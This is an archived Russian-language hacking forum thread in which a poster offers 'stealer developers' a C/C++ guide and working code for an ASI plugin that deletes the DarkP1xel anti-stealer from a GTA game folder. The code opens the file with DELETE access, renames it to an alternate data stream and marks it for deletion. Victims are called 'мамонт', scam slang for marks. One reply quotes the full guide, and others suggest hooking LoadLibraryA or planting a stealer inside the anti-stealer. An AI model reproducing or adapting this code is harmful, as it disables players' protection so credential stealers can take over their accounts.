PDA

Просмотр полной версии : Удаляем антистиллер by DarkP1xel 5.2.5


.KARELLI
07.10.2021, 12:06
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров

В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного

Для данного способа нам понадобится:

1. NtCreateFile

2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся

https://forum.antichat.xyz/attachments/27858219/

Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает

1633590029100.png.KARELLI · 7 Окт 2021 в 11:06' data-fancybox="lb-post-858219" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117076/" style="cursor: pointer;" title="1633590029100.png">
https://forum.antichat.xyz/attachments/27858219/

Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь

C:






NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;




Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:






UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;




Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:






if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;




Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру

https://forum.antichat.xyz/attachments/27858219/

Далее видим что от антистиллера осталось лишь лог, вот и все

https://forum.antichat.xyz/attachments/27858219/

Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра

NoFeXX
07.10.2021, 13:34
Не долго парень прожил

Норм гайд

(бабуля гей)

Hatiko
07.10.2021, 13:49
Этот антистиллер и так всегда просят удалить, т.к. он блокирует всё подряд и мешает работе многим модификациям. Редко уже у кого встретишь его.

YarmaK
07.10.2021, 14:44
Лучше вшить стилер в него и все 🤡

RAYDON
07.10.2021, 14:55
lstrcatW(szPath, L"\\!0AntiStealerByDarkP1xel32.ASI");


а если файл по-другому называется?

kin4stat
07.10.2021, 15:34
Спс за гайд уровня как сложить 2+2 через интеграл

{$FANTOMCODER .cs}
07.10.2021, 16:11
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся

Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает

Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь

C:






NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;




Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:






UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;




Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:






if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;




Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру

Далее видим что от антистиллера осталось лишь лог, вот и все

Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра


А зачем?

Сейчас даже free steeler'ы на Клео умеют его обходить.

legendabrn
07.10.2021, 17:37
а не проще назвать файл !00*.asi и хукнуть LoadLibaryA?

ARMOR
07.10.2021, 21:30
Жду такой темы

maxresdefault.jpgARMOR · 7 Окт 2021 в 20:30' data-fancybox="lb-post-858484" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117142/" style="cursor: pointer;" title="maxresdefault.jpg">
https://forum.antichat.xyz/attachments/27858484/

Dragynovv
07.10.2021, 21:31
легенда, вернулась не на долго 😢